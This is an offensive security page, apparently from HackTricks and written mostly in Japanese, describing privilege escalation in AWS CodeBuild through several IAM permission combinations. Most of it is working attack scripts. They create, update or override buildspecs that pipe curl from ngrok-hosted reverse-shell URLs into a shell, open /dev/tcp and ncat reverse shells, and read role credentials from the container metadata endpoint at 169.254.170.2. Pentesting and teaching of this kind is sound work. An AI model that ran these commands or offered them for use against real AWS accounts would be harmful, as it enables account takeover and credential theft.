AWS - Codebuild Privesc

Support HackTricks

codebuild

Get more info in:

iam:PassRole, codebuild:CreateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)

iam:PassRolecodebuild:CreateProject、および codebuild:StartBuild または codebuild:StartBuildBatch の権限を持つ攻撃者は、実行中のコードビルドIAMロールを作成することによって、任意のコードビルドIAMロールに特権を昇格させることができます。

# Enumerate then env and get creds
REV="env\\\\n      - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"

JSON="{
\"name\": \"codebuild-demo-project\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n  build:\\\\n    commands:\\\\n      - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"aws/codebuild/standard:1.0\",
\"computeType\": \"BUILD_GENERAL1_SMALL\"
},
\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"
}"


REV_PATH="/tmp/rev.json"

printf "$JSON" > $REV_PATH

# Create project
aws codebuild create-project --cli-input-json file://$REV_PATH

# Build it
aws codebuild start-build --project-name codebuild-demo-project

# Wait 3-4 mins until it's executed
# Then you can access the logs in the console to find the AWS role token in the output

# Delete the project
aws codebuild delete-project --name codebuild-demo-project

潜在的影響: どのAWS Codebuildロールへの直接的な権限昇格。

Codebuildコンテナ内のファイル/codebuild/output/tmp/env.shには、メタデータ認証情報にアクセスするために必要なすべての環境変数が含まれています。

このファイルには、**環境変数AWS_CONTAINER_CREDENTIALS_RELATIVE_URI**が含まれており、認証情報にアクセスするためのURLパスが含まれています。それは次のようなものになります/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420

それをURL **http://169.254.170.2/**に追加すると、ロールの認証情報をダンプすることができます。

さらに、**環境変数ECS_CONTAINER_METADATA_URI**も含まれており、コンテナに関するメタデータ情報を取得するための完全なURLが含まれています。

iam:PassRole, codebuild:UpdateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)

前のセクションと同様に、ビルドプロジェクトを作成する代わりに修正できる場合、IAMロールを指定してトークンを盗むことができます。

REV_PATH="/tmp/codebuild_pwn.json"

# Enumerate then env and get creds
REV="env\\\\n      - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"

# You need to indicate the name of the project you want to modify
JSON="{
\"name\": \"<codebuild-demo-project>\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n  build:\\\\n    commands:\\\\n      - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"aws/codebuild/standard:1.0\",
\"computeType\": \"BUILD_GENERAL1_SMALL\"
},
\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"
}"

printf "$JSON" > $REV_PATH

aws codebuild update-project --cli-input-json file://$REV_PATH

aws codebuild start-build --project-name codebuild-demo-project

潜在的な影響: 任意のAWS Codebuildロールへの直接的な権限昇格。

codebuild:StartBuild | codebuild:StartBuildBatch

これらの権限のいずれかがあれば、新しいbuildspecでビルドをトリガーし、プロジェクトに割り当てられたiamロールのトークンを盗むのに十分です:

cat > /tmp/builspec.yml <<EOF
version: 0.2

phases:
build:
commands:
- curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh
EOF

aws codebuild start-build --project <project-name> --buildspec-override file:///tmp/builspec.yml

潜在的な影響: 添付されたAWS Codebuildロールへの直接的な権限昇格。

codebuild:UpdateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)

前のセクションと同様ですが、iam:PassRole権限なしで、この権限を悪用して既存のCodebuildプロジェクトを変更し、既に割り当てられているロールにアクセスすることができます

REV_PATH="/tmp/codebuild_pwn.json"

# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh"

# You need to indicate the name of the project you want to modify
JSON="{
\"name\": \"codebuild_lab_3_project\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nbatch:\\\\n  fast-fail: false\\\\n  build-list:\\\\n    - identifier: build1\\\\n      env:\\\\n        variables:\\\\n          BUILD_ID: build1\\\\n      buildspec: |\\\\n        version: 0.2\\\\n        env:\\\\n          shell: sh\\\\n        phases:\\\\n          build:\\\\n            commands:\\\\n              - curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh\\\\n      ignore-failure: true\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\",
\"computeType\": \"BUILD_GENERAL1_SMALL\",
\"imagePullCredentialsType\": \"CODEBUILD\"
}
}"

printf "$JSON" > $REV_PATH

# Note how it's used a image from AWS public ECR instead from docjerhub as dockerhub rate limits CodeBuild!

aws codebuild update-project --cli-input-json file://$REV_PATH

aws codebuild start-build-batch --project-name codebuild-demo-project

潜在的影響: 添付されたAWS Codebuildロールへの直接的な権限昇格。

SSM

SSMセッションを開始するのに十分な権限がある場合、ビルド中のCodebuildプロジェクトに入ることが可能です。

Codebuildプロジェクトにはブレークポイントが必要です:

phases:
pre_build:
commands:
- echo Entered the pre_build phase...
- echo "Hello World" > /tmp/hello-world
      - codebuild-breakpoint

そして:

aws codebuild batch-get-builds --ids <buildID> --region <region> --output json
aws ssm start-session --target <sessionTarget> --region <region>

For more info ドキュメントを確認してください

(codebuild:StartBuild | codebuild:StartBuildBatch), s3:GetObject, s3:PutObject

特定のCodeBuildプロジェクトのビルドを開始/再起動できる攻撃者が、そのbuildspec.ymlファイルを攻撃者が書き込みアクセスを持つS3バケットに保存している場合、CodeBuildプロセス内でコマンド実行を取得できます。

注: エスカレーションは、CodeBuildワーカーが攻撃者とは異なる役割、できればより特権のある役割を持っている場合にのみ関連します。

aws s3 cp s3://<build-configuration-files-bucket>/buildspec.yml ./

vim ./buildspec.yml

# Add the following lines in the "phases > pre_builds > commands" section
#
#    - apt-get install nmap -y
#    - ncat <IP> <PORT> -e /bin/sh

aws s3 cp ./buildspec.yml s3://<build-configuration-files-bucket>/buildspec.yml

aws codebuild start-build --project-name <project-name>

# Wait for the reverse shell :)

あなたはこのような builspec を使用して reverse shell を取得できます:

buildspec.yml
version: 0.2

phases:
build:
commands:
- bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1

影響: 通常、高い権限を持つAWS CodeBuildワーカーによって使用されるロールへの直接的な権限昇格。

buildspecはzip形式で期待される可能性があるため、攻撃者はダウンロードして解凍し、ルートディレクトリからbuildspec.ymlを修正し、再度zip化してアップロードする必要があります。

詳細はこちらで確認できます。

潜在的な影響: 添付されたAWS Codebuildロールへの直接的な権限昇格。

HackTricksをサポートする

Last updated